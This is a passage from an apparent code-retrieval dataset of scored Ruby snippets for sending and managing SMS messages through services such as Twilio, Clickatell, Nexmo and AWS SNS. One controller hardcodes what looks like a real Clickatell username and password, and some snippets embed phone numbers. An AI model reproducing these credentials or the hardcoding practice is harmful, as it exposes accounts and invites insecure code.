reservation.\"\n )\n end", "title": "" }, { "docid": "3f7a280f887100604f1c7396abb8e055", "score": "0.61754185", "text": "def update\n @phone_number = SmsOnRails::PhoneNumber.find(params[:id])\n\n respond_to do |format|\n if @phone_number.update_attributes(params[:phone_number])\n flash[:notice] = 'PhoneNumber was successfully updated.'\n format.html { redirect_to(sms_phone_number_path(:id => @phone_number)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @phone_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "29bf221c469df5d33b353d08b2503774", "score": "0.61730003", "text": "def test_create_sms_single\n sms = @twizo.create_sms('test body', nil, 'test sender')\n\n test_recipient = NUMBER1\n sms.params.recipients = test_recipient\n\n sms = sms.send_simple\n\n test_message_id = sms.result[0].messageId\n\n status = @twizo.get_sms_status(test_message_id)\n\n assert_equal test_message_id, status.messageId\n assert_equal test_recipient, status.recipient\n end", "title": "" }, { "docid": "0e666663f97618032fced76bcc9fcc74", "score": "0.6165139", "text": "def set_sms_text\n @sms_text = SmsText.find(params[:id])\n end", "title": "" }, { "docid": "98e17722f1ca400165220de43d94e21b", "score": "0.61588407", "text": "def send(number, body)\n token = SmsSender.get_token(CLIENT_ID, CLIENT_SECRET, RestClient)\n SmsSender.send_sms(token, number, body, RestClient)\n end", "title": "" }, { "docid": "8048eb6163258b0a0ed3112539d40765", "score": "0.6157552", "text": "def send_sms(mobile, text)\n #rails_config gem 配置\n accountSid = Settings.sms.accountSid\n appId = Settings.sms.appId\n auth_token = Settings.sms.auth_token\n templateId = Settings.sms.templateId\n time_out = Settings.sms.time_out\n apiurl = Settings.sms.apiurl\n now_time = Time.now.strftime('%Y%m%d%H%M%S')\n\n authorization = Base64.encode64(\"#{accountSid}:#{now_time}\").delete(\"\\n\")\n\n sig_parameter=Digest::MD5.hexdigest(\"#{accountSid}#{auth_token}#{now_time}\").upcase\n RestClient.post \"#{apiurl}/2013-12-26/Accounts/#{accountSid}/SMS/TemplateSMS?sig=#{sig_parameter}\",\n \"{'to': '#{mobile}','appId': '#{appId}','templateId':'#{templateId}','datas':['#{text}']}\",\n content_type: :json,\n accept: :json,\n charset: 'utf-8',\n Authorization: authorization\n\n\n end", "title": "" }, { "docid": "70e0e44e595ca02bae79eb4933424096", "score": "0.61536837", "text": "def test_create_sms_simple\n sms = @twizo.create_sms('test body', nil, 'test sender')\n\n test_recipient = NUMBER1\n sms.params.recipients = test_recipient\n\n sms = sms.send_simple\n\n test_message_id = sms.result[0].messageId\n\n status = @twizo.get_sms_status(test_message_id)\n\n assert_equal test_message_id, status.messageId\n assert_equal test_recipient, status.recipient\n end", "title": "" }, { "docid": "40e2d0dba7449d56ea5e350b7a103d78", "score": "0.61210763", "text": "def send_sms(params)\n from = params[:From]\n body = params.key?(:URL) ? params[:Body] + params[:URL] : params[:Body]\n to = params[:To]\n # returns a twilio API message object\n # refer to docs: https://www.twilio.com/docs/sms/api/message-resource#message-properties\n @client.messages.create(\n from: from,\n body: body,\n to: to\n )\n end", "title": "" }, { "docid": "8f0e25743e22350ae5cff5458995c1b9", "score": "0.611841", "text": "def single_text_sms(sms)\n params = {\n :from => sms.from,\n :to => sms.to,\n :text => sms.text\n }\n is_success, result = execute_POST( \"/sms/1/text/single\", params )\n\n convert_from_json(SimpleSMSAnswer, result, !is_success)\n end", "title": "" }, { "docid": "30818167a935a8a3a4aaca4bc52dc3db", "score": "0.6116559", "text": "def sms_send\n end", "title": "" }, { "docid": "862c110fde903fca1f6cfb2f3a559a00", "score": "0.6112793", "text": "def update\n respond_to do |format|\n if @sms_template.update(sms_template_params)\n format.html { redirect_to @sms_template, notice: 'Sms template was successfully updated.' }\n format.json { render :show, status: :ok, location: @sms_template }\n else\n format.html { render :edit }\n format.json { render json: @sms_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "52f8760f7078aab9ea16f7e62663f78d", "score": "0.61110944", "text": "def update\n respond_to do |format|\n if @sms_campaign.update(sms_campaign_params)\n format.html { redirect_to @sms_campaign, notice: 'Sms campaign was successfully updated.' }\n format.json { render :show, status: :ok, location: @sms_campaign }\n else\n format.html { render :edit }\n format.json { render json: @sms_campaign.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2853ae175fd94d51e68146288e3c0e7", "score": "0.6107699", "text": "def getsms\n\t@new_sms = Sm.new\n\t@new_sms.phone = params[:phone]\n\t@new_sms.text = params[:text]\n\t@new_sms.save \n\n\trespond_to do |format|\n\tformat.all {render :text=>'Thank you , Your sms has been received'}\n\tend \nend", "title": "" }, { "docid": "41d755ecf93416222755a6ad9e9935d8", "score": "0.61026865", "text": "def cancel_sms (id = nil, opts={})\n query_param_keys = [:id]\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n :'id' => id\n \n }.merge(opts)\n\n #resource path\n path = \"/cancel-sms.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:GET, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end", "title": "" }, { "docid": "6e6e06296e71330e622f0c2dae72b5d2", "score": "0.60942024", "text": "def create\n api = Clickatell::API.authenticate(3394680, \"johnelauria\", \"$ys2012tems?\")\n @smstext = Smstext.new(params[:smstext])\n recipient = @smstext.recipient\n smsmessage = @smstext.smsmessage\n api.send_message(recipient, smsmessage)\n\n respond_to do |format|\n if @smstext.save\n flash[:success] = \"You have successfully sent a SMS message\"\n format.html { redirect_to @smstext }\n format.json { render json: @smstext, status: :created, location: @smstext }\n else\n format.html { render action: \"new\" }\n format.json { render json: @smstext.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9775ca2d13fb08c3e6e42bdbc51f1080", "score": "0.6060053", "text": "def sms(body, to_phone, from_phone, sequence_params={})\n client = Twilio::REST::Client.new ENV['TW_ACCOUNT_SID'], ENV['TW_AUTH_TOKEN']\n\n script = sequence_params['script']\n sequence = sequence_params['sequence']\n last_sequence = sequence_params['last_sequence']\n\n if script and sequence and last_sequence\n # idea: put a retry index in the callback_query, which increments each time we retry\n callback_query = \"?phone=#{to_phone}&script=#{script}&next_sequence=#{sequence}&last_sequence=#{last_sequence}\"\n\n res = client.account.messages.create(\n :body => body,\n :to => to_phone, \n :from => from_phone,\n # TODO: add this to .env for local and Heroku environment for production\n :StatusCallback => ENV['TW_CALLBACK_URL'] + callback_query\n )\n else # send plain sms, no callback por favor\n res = client.account.messages.create(\n :body => body,\n :to => to_phone, \n :from => from_phone\n )\n\n end\n\n puts \"Sent SMS to #{to_phone}. Body: \\\"#{body}\\\"\" \n return res \n\n # TODO: collect error_code and status information and react accordingly.\n end", "title": "" }, { "docid": "98fac4e2d1791f0ef0a16639786b9069", "score": "0.60244596", "text": "def set_sms_send\n @sms_send = SmsSend.find(params[:id])\n end", "title": "" }, { "docid": "788524bcd18136d9e3f5447a71bed812", "score": "0.60222715", "text": "def save\n handle_response self.class.post \"/Accounts/#{Twilio::ACCOUNT_SID}/SMS/Messages.json\", :body => attributes\n end", "title": "" }, { "docid": "6524fba8b1d480408732dbd3a45bec50", "score": "0.5998835", "text": "def send_sms(phone, content, type) #:nodoc: all\n raise 'invalid sms parameters' unless type.present? && !content.blank? && !phone.blank? && phone.to_sz.map { |p| p.to_s =~ /1\\d{10}/ }.inject(&:&)\n response = ::SendSms.send(phone, content, type)\n # response = api :sendSMS, {params: [nil, phone.to_sz.map(&:to_s), content, nil, 'UTF-8', 5, 0], channel: channel}\n # raise response.values.first[:return] unless response.values.first[:return] == '0'\n end", "title": "" }, { "docid": "64871ac4fe96d4e9bc6d7a4e98927731", "score": "0.59770554", "text": "def immnSendSMS(url, payload)\n content_type = 'application/json' \n self.post(url, payload.to_json, :Content_Type => content_type)\n end", "title": "" }, { "docid": "bb3c3d8b477410d3e81005cb2c03bf4e", "score": "0.5976077", "text": "def send_sms\n sns = Aws::SNS::Client.new(\n access_key_id: Rails.application.credentials.aws[:access_key_id], \n secret_access_key: Rails.application.credentials.aws[:secret_access_key], \n region: Rails.application.credentials.aws[:region]\n )\n response = sns.publish(phone_number: SOME_PHONE_NUMBER, message: MESSAGE) # e.g., { message_id: b6eeb3d1-e532-5bc6-8482-e790aff07433 }\n end", "title": "" }, { "docid": "f4880e44f7d66b108b4c180a49117894", "score": "0.59704137", "text": "def sms(message)\n return unless Settings.active\n\n message.update(from: from)\n client.set_sms_attributes(attributes: { 'DefaultSenderID' => from })\n client.publish(phone_number: message.to, message: message.body)\n # rescue\n # Rails.logger.warn('No AWS client configured for tenant.account_id') and return if client.nil?\n end", "title": "" }, { "docid": "15884a55a5fd3d0c5c664a3937561d87", "score": "0.5952152", "text": "def sms\n\t\tlogger.info \"#{ENV.fetch(\"REDIS_URL\")}\"\n\t\tredis = Redis.current\n\t\tif [\"STOP\",\"STOP\\n\",\"STOP\\r\", \"STOP\\r\\n\"].include? params[:text]\n\t\t\tredis.set(\"#{@account.username+\"_#{params[:from]}/#{params[:to]}\"}\",\"#{params[:from]}/#{params[:to]}\",ex: 4.hours)\n\t\tend\n\t\trender json: \n\t\t{\n\t\t\tresponse_code: 200,\n\t\t\tresponse_message: \"#{I18n.t 'Inbound_ok'}\"\n\t\t}\n\tend", "title": "" }, { "docid": "e9fddea92afdc8721632b5ee81a6dffd", "score": "0.59486634", "text": "def send_sms(user, body)\n user = get_model(user, User)\n message = twilio_client.sms.messages.create(\n {:from => '+13475374153', :to => user.phone, :body => body}\n )\n end", "title": "" }, { "docid": "dba464757dc0a0fe68f0593c9a6c241d", "score": "0.59432244", "text": "def send_sms_with_http_info(key, num, msg, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SMSApi.send_sms ...\"\n end\n # verify the required parameter 'key' is set\n fail ArgumentError, \"Missing the required parameter 'key' when calling SMSApi.send_sms\" if key.nil?\n # verify the required parameter 'num' is set\n fail ArgumentError, \"Missing the required parameter 'num' when calling SMSApi.send_sms\" if num.nil?\n # verify the required parameter 'msg' is set\n fail ArgumentError, \"Missing the required parameter 'msg' when calling SMSApi.send_sms\" if msg.nil?\n # resource path\n local_var_path = \"/sms/\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'key'] = key\n query_params[:'num'] = @api_client.build_collection_param(num, :csv)\n query_params[:'msg'] = msg\n query_params[:'from'] = opts[:'from'] if !opts[:'from'].nil?\n query_params[:'deliverby'] = opts[:'deliverby'] if !opts[:'deliverby'].nil?\n query_params[:'dlrcb'] = opts[:'dlrcb'] if !opts[:'dlrcb'].nil?\n query_params[:'replycb'] = opts[:'replycb'] if !opts[:'replycb'].nil?\n query_params[:'replyemail'] = opts[:'replyemail'] if !opts[:'replyemail'].nil?\n query_params[:'validity'] = opts[:'validity'] if !opts[:'validity'].nil?\n query_params[:'cc'] = opts[:'cc'] if !opts[:'cc'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SMSResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SMSApi#send_sms\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "75a67bf4757c9ddc72d3ee32006b3d2c", "score": "0.593864", "text": "def sendSMS(url, payload)\n content_type = 'application/json' \n self.postRequest(url, payload.to_json, :Content_Type => content_type)\n end", "title": "" }, { "docid": "46c9f809707d73e032738dbe66c7459a", "score": "0.59326917", "text": "def send_sms\n begin\n @client = Twilio::REST::Client.new @account_sid, @auth_token\n \n message = @client.account.messages.create(:body => @shakes_insult,\n :to => \"+15106849426\", # Replace with your phone number\n :from => \"+14152026709\") # Replace with your Twilio number\n rescue Twilio::REST::RequestError => e\n return e.message\n end\n return message.sid\n end", "title": "" }, { "docid": "e9db62cbe0e591065047332b08b67149", "score": "0.59269404", "text": "def update\n @phone_item = PhoneItem.find(params[:id])\n\n respond_to do |format|\n if @phone_item.update_attributes(params[:phone_item])\n format.html { redirect_to '/home/sms', notice: '手机号码修改成功.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @phone_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a67696c6feeb9fe5122bca32f9912e74", "score": "0.59260046", "text": "def marcatel_send_sms!(phone_number, message)\n marcatel_client.insert_message! phone_number, message\n end", "title": "" }, { "docid": "8526bda945752e27df3ffdba1b7efea0", "score": "0.59214705", "text": "def update_mobile_carrier(args = {}) \n put(\"/mobile.json/#{args[:carrierId]}\", args)\nend", "title": "" }, { "docid": "11437bf9460cbdbedafb98f6e8cbac06", "score": "0.5916", "text": "def sms_send(phones, message)\n request = {\n sender: 'Qjob',\n phones: phones,\n body: message,\n transliterate: '0'\n }\n\n send_request('sms/send', 'post', request)\n end", "title": "" }, { "docid": "b8cb43a26762a97f3b679a9d4f1ba7b6", "score": "0.59124506", "text": "def update\n respond_to do |format|\n if @twilio_message.update(twilio_message_params)\n format.html { redirect_to @twilio_message, notice: 'Twilio message was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @twilio_message.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8cb43a26762a97f3b679a9d4f1ba7b6", "score": "0.59124506", "text": "def update\n respond_to do |format|\n if @twilio_message.update(twilio_message_params)\n format.html { redirect_to @twilio_message, notice: 'Twilio message was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @twilio_message.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5ca12a2dd03ab68eba610585ab675272", "score": "0.59043294", "text": "def sms\n \n v = Tropo::Generator.parse request.env[\"rack.input\"].read\n t = Tropo::Generator.new\n\n #create an inbound record\n Call.create(:start_time => Time.now.utc.strftime('%a %b %d %H:%M:%S +0000 %Y'), :to => v[:session][:to][:id], :from => v[:session][:from][:id], :success => \"true\", :duration => 0, :network => v[:session][:to][:channel], :direction => \"in\")\n #reply to SMS\n initialText = v[:session][:initial_text]\n t.say(\"Thanks for the text, you said #{initialText}\")\n #create an outbound reply record\n Call.create(:start_time => Time.now.utc.strftime('%a %b %d %H:%M:%S +0000 %Y'), :to => v[:session][:from][:id], :from => v[:session][:to][:id], :success => \"true\", :duration => 0, :network => v[:session][:to][:channel], :direction => \"out\")\n\n #send JSON back to Tropo\n render :json => t.response\n\n end", "title": "" }, { "docid": "76178098e02318edddf6ecb8fa3f814e", "score": "0.59016913", "text": "def send_sms(telephone, text_msg)\n\n #api = Nuntium.new \"service_url\", \"account_name\", \"application_name\", \"application_password\"\n api = Nuntium.new Settings.alert_sms_service_url, Settings.alert_sms_account_name, Settings.alert_sms_application_name, Settings.alert_sms_application_password\n\n from_tel = Settings.alert_sms_from_tel\n to_tel = \"sms://\"+telephone\n\n sms_message = {\n :from => from_tel,\n :to => to_tel,\n :body => text_msg\n }\n\n response = api.send_ao sms_message\n end", "title": "" }, { "docid": "49c0cfba6d8f96115e234d03f75a8673", "score": "0.589861", "text": "def sms(message, to: T.unsafe(nil), from: T.unsafe(nil), action: T.unsafe(nil), method: T.unsafe(nil), status_callback: T.unsafe(nil), **keyword_args); end", "title": "" }, { "docid": "37f8c823768b2645a08cd37dd29da6bf", "score": "0.5874958", "text": "def update\n respond_to do |format|\n if @sms_tmp.update(sms_tmp_params)\n format.html { redirect_to sms_tmps_url, notice: '短信模板修改成功.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sms_tmp.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aa230d2a8d086ce2669f025ea134c95e", "score": "0.58748186", "text": "def send_sms(params)\n if !enabled?\n return nil\n end\n\n from = params[:From]\n body = params.key?(:URL) ? params[:Body] + params[:URL] : params[:Body]\n to = params[:To]\n # returns a twilio API message object\n # refer to docs: https://www.twilio.com/docs/sms/api/message-resource#message-properties\n begin\n client\n client.messages.create(\n from: from,\n body: body,\n to: to\n )\n rescue => error\n Rails.logger.error(\"send SMS failed: #{error}\")\n error\n end\n end", "title": "" }, { "docid": "7c807957be32cde12074f42f5088e85f", "score": "0.5874352", "text": "def send_sms(phone, text, _args = {})\n @logger.send(@severity, \"[SMS] #{phone}: #{text}\")\n respond_with_status :success\n end", "title": "" }, { "docid": "6861d7451a4e97005d95f0c9101d34a5", "score": "0.5868432", "text": "def send_sms(to: sms_to, body: sms_body)\n [to, body]\n generate_token\n options = { body: {\n body: body,\n to: to\n }.to_json,\n headers: { \"Content-Type\" => \"application/json\", \"Authorization\" => \"Bearer #{@token}\" }}\n response = HTTParty.post(\"https://api.telstra.com/v1/sms/messages\", options)\n return JSON.parse(response.body)\n end", "title": "" }, { "docid": "198b12aadaabdeec65cdb8ba0f7fdde8", "score": "0.5860511", "text": "def send_sms(numbers)\n client = Twilio::REST::Client.new ACCOUNT_SID, AUTH_TOKEN\n\n # numbers.each do |number|\n @msg = client.account.sms.messages.create(\n :from => FROM_NUMBER,\n :to => numbers,\n :body => self.body\n )\n #end\n end", "title": "" }, { "docid": "2079aee91c671f8f96f3d49ea11556e6", "score": "0.58588475", "text": "def update\n @phone1 = Phone1.find(params[:id])\n\n respond_to do |format|\n if @phone1.update_attributes(params[:phone1])\n format.html { redirect_to @phone1, :notice => 'Phone number was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @phone1.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0727a7b8fd8f694a0fd0264ab5943c6", "score": "0.58577657", "text": "def deliver sms\n response = nexmo.sms.send(\n from: sms.from,\n to: sms.to,\n text: sms.text\n )\n \n # If sending the SMS was a success then store\n # the message ID on the SMS record\n if response['messages'].first['status'] == '0'\n sms.update_attributes(\n message_id: response['messages'].first['message-id']\n )\n end\n end", "title": "" }, { "docid": "5499044cf9f109e72305621398c7299f", "score": "0.58551824", "text": "def sms\n\t\tclient.account.messages.create(:from => from, :to => recipient_number, :body => train_status)\n\tend", "title": "" }, { "docid": "a04fd7a181b67ee2aa9d6664eb550b65", "score": "0.58319163", "text": "def create\n api = Clickatell::API.authenticate(ENV['API_ID'], ENV['API_USER_NAME'], ENV['API_PASSWORD'])\n @sms_text = SmsText.new(sms_text_params)\n recipient = @sms_text.recipient\n sms_message = @sms_text.sms_message\n api.send_message(recipient, sms_message)\n respond_to do |format|\n if @sms_text.save\n format.html { redirect_to @sms_text, notice: 'Sms text was successfully created.' }\n format.json { render json: @sms_text, status: :created, location: @sms_text }\n else\n format.html { render :new }\n format.json { render json: @sms_text.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63bfd76b472fd75a91942d2a6b263576", "score": "0.582944", "text": "def test(sms)\n send_sms(sms)\n end", "title": "" }, { "docid": "dfc0b6742d60fd2fe5005a1bb92876d7", "score": "0.58277225", "text": "def send_sms(to, text, api_options = {})\n raise NotImplementedError.new('Implement send_sms(to, text, api_options = {}) in your client.')\n end", "title": "" }, { "docid": "c1a22fb40de59ad1bba412a166e3c8e3", "score": "0.58236533", "text": "def get_sms_sent (message_id = nil, optouts = nil, page = nil, max = nil, delivery = nil, opts={})\n query_param_keys = [:message_id,:optouts,:page,:max,:delivery]\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n :'message_id' => message_id,\n :'optouts' => optouts,\n :'page' => page,\n :'max' => max,\n :'delivery' => delivery\n \n }.merge(opts)\n\n #resource path\n path = \"/get-sms-sent.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:GET, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end", "title": "" }, { "docid": "d9c2b4bfdb3e419b32284297f9e9ccae", "score": "0.5815147", "text": "def partial_sms_template_update(id, options = {})\n post(\"/templates/sms/#{id}\", options)\n end", "title": "" }, { "docid": "1a7d448d84ec7d1276de5adc72421a2f", "score": "0.5813166", "text": "def update\n sent_message = Message.find(params[:id])\n if sent_message.update(message_params)\n render json: sent_message\n else\n render json: sent_message.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0628e8792c38657b40f525dd47830b6b", "score": "0.5808152", "text": "def send_sms(to, message = \"\")\n response = HTTParty.get(@uri+\"&to=#{to}&text=#{message}\")\n response.body\n end", "title": "" }, { "docid": "ae8a06731b3591534a4b87eaa9b62ce2", "score": "0.5805195", "text": "def send_sms(_phone, _text, _args = {})\n raise NotImplementedError,\n \"You should create your own class for every sms service you use\"\n end", "title": "" }, { "docid": "a3bf550b0ab2845bb985e781d3c18e2b", "score": "0.58025825", "text": "def update\n @smstext = Smstext.find(params[:id])\n\n respond_to do |format|\n if @smstext.update_attributes(params[:smstext])\n format.html { redirect_to @smstext, notice: 'Smstext was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @smstext.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "36000e6ff2313ac1870a7290ed65b641", "score": "0.58011764", "text": "def send_sms(phone, text)\n resp = sns_client.publish(phone_number: phone, message: text)\n\n if resp.error.nil? && resp.message_id\n respond_with_status :success\n else\n respond_with_status :unknown_failure\n end\n end", "title": "" }, { "docid": "2c78378818cd8df1a63151269a041d05", "score": "0.57995045", "text": "def send_sms(event)\r\n data = parse_body(event['body'])\r\n if data\r\n QUIZ_SNS.publish(\r\n phone_number: data['phoneNumber'], # Replace with a valid mobile phone number\r\n message: data['message']\r\n )\r\n true\r\n else\r\n false\r\n end\r\nend", "title": "" }, { "docid": "15fe7d5e17abcf0ead52875f59aa4652", "score": "0.57969624", "text": "def sms\r\n SMSController.instance\r\n end", "title": "" }, { "docid": "15fe7d5e17abcf0ead52875f59aa4652", "score": "0.57969624", "text": "def sms\r\n SMSController.instance\r\n end", "title": "" }, { "docid": "b74af43eb474424312318031b8d90c7d", "score": "0.5793464", "text": "def test_create_sms_advanced\n sms = @twizo.create_sms('Body', nil, 'test sender')\n\n test_recipient = '60178467034'\n sms.params.recipients = test_recipient\n sms.params.dcs = 4\n\n sms = sms.send\n\n test_message_id = sms.result[0].messageId\n\n status = @twizo.get_sms_status(test_message_id)\n\n assert_equal test_message_id, status.messageId\n assert_equal test_recipient, status.recipient\n end", "title": "" }, { "docid": "1441a410dd77c6e6081bce24ef57f1f8", "score": "0.57929754", "text": "def update\n @sm = Sm.find(params[:id])\n\n respond_to do |format|\n if @sm.update_attributes(params[:sm])\n format.html { redirect_to @sm, notice: 'Sm was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sm.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "969a9a04f2510c5897868634fe54b06e", "score": "0.5791403", "text": "def deliver sms\n response = nexmo.send_message(\n from: sms.from,\n to: sms.to,\n text: sms.text\n )\n\n # If sending the SMS was a success then store\n # the message ID on the SMS record\n if response['messages'].first['status'] == '0'\n sms.update_attributes(\n message_id: response['messages'].first['message-id']\n )\n end\n end", "title": "" }, { "docid": "468480e628d58f4e0370c68ae76c639a", "score": "0.57866347", "text": "def update\n @phone = Phone.find(params[:id])\n\n if @phone.update(phone_params)\n head :no_content\n else\n render json: @phone.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5a920ef5e521f05ee5feaf1bf879a959", "score": "0.57772505", "text": "def test_b_single_text_sms_00001\n sms = InfobipApi::SimpleTextSMSRequest.new\n sms.from = 'InfobipApiRuby'\n sms.to = NUMBERS[0]\n sms.text = \"Unit Testing: #{__method__}\"\n response = @@sms_connector.single_text_sms(sms)\n refute_instance_of(InfobipApi::InfobipApiError, response)\n assert_equal(response.messages.length, 1)\n end", "title": "" }, { "docid": "160013c93231505470b08be5d3540d45", "score": "0.57761776", "text": "def send_sms(user_id, phone_number)\n @sms.send_sms(@management_client, user_id, phone_number)\n end", "title": "" }, { "docid": "cdb1009686b76f4bbdf4f82fb870812c", "score": "0.5775645", "text": "def update\n @sms_archive = SmsArchive.find(params[:id])\n\n respond_to do |format|\n if @sms_archive.update_attributes(params[:sms_archive])\n format.html { redirect_to @sms_archive, notice: 'Sms archive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sms_archive.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "62f29e8e3a965a0c89399afb5522ae71", "score": "0.57754594", "text": "def send_sms(messages)\r\n\r\n # validate required parameters\r\n validate_parameters({\r\n 'messages' => messages\r\n })\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/sms/send'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.post _query_url, headers: _headers, parameters: messages.to_json\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # validate response against endpoint and global error codes\r\n if _context.response.status_code == 404\r\n return nil\r\n end\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n return _context.response.raw_body\r\n end", "title": "" }, { "docid": "d77b4625b39fa61fada923da2cd561d3", "score": "0.5762924", "text": "def updatestatus\n this_message = TwilioMessage.find_by message_sid: params['MessageSid']\n this_message.status = params['MessageStatus']\n this_message.error_code = params['ErrorCode']\n this_message.error_message = params['ErrorMessage']\n this_message.save\n end", "title": "" }, { "docid": "6103785911f6ff93916c70abb249828b", "score": "0.57593524", "text": "def update_messenger(messenger_id, request)\n start.uri('/api/messenger')\n .url_segment(messenger_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "fe552a7b153a68a051a252a3ac03af60", "score": "0.5756657", "text": "def create\n @smsmessage = Smsmessage.new(params[:smsmessage])\n\n respond_to do |format|\n if @smsmessage.save\n format.html { redirect_to @smsmessage, notice: 'Smsmessage was successfully created.' }\n format.json { render json: @smsmessage, status: :created, location: @smsmessage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @smsmessage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "82a83cd1572488ea38525b6b282b0bb4", "score": "0.5748906", "text": "def send_sms\n Sms.new(self)\n end", "title": "" }, { "docid": "3140a7192cd546ab7aa2cbc84683a224", "score": "0.57384264", "text": "def send_simple\n post_params = @params.to_json\n\n response = send_api_call(Entity::ACTION_CREATE, 'sms/submitsimple', post_params)\n\n raise response if response.is_a?(TwizoError)\n\n response_to_array(response, 'items')\n end", "title": "" }, { "docid": "4d81420f89c1788b335e244e212cb6b7", "score": "0.5733982", "text": "def send_sms\n self.resource = resource_class.send_sms_token(params[resource_name])\n \n if resource.errors.empty?\n set_flash_message :notice, :send_token, :phone => self.resource.phone\n redirect_to new_sms_session_path(resource_name)\n else\n render :resend\n end\n end", "title": "" }, { "docid": "1a38cb10342af9d3adaddb5349cfd0ac", "score": "0.57323056", "text": "def sms_params\n\n end", "title": "" }, { "docid": "313e38ecd20437f46a4b58fcdccc854e", "score": "0.57177037", "text": "def create\n @sms_request = SmsRequest.new(params[:sms_request])\n\n respond_to do |format|\n if @sms_request.save\n format.html { redirect_to @sms_request, notice: 'Sms request was successfully created.' }\n format.json { render json: @sms_request, status: :created, location: @sms_request }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sms_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1bc8fc3b25e83df98fbb9e6fed609e6", "score": "0.5713913", "text": "def send_sms_all\n user_phones = User.where(:subscribed => true).pluck(:phone)\n message = params[:message]\n account_sid = ENV[\"TWILIO_ACCOUNT_SID\"] \n auth_token = ENV[\"TWILIO_AUTH_TOKEN\"]\n\n @client = Twilio::REST::Client.new account_sid, auth_token\n\n user_phones.each do |number|\n @client.account.messages.create ({:to => \"+1\"+\"#{number}\",\n :from => \"+19143686886\",\n :body => \"#{message}\"})\n end\n redirect_to '/admin/dashboard', :flash => { :success => \"Your message sent!\" }\n\n rescue Twilio::REST::RequestError => e\n puts e.message\n end", "title": "" } ]
cd23d60745bed76d1e73fb9a8f9fa76c
detail sur les partenaires
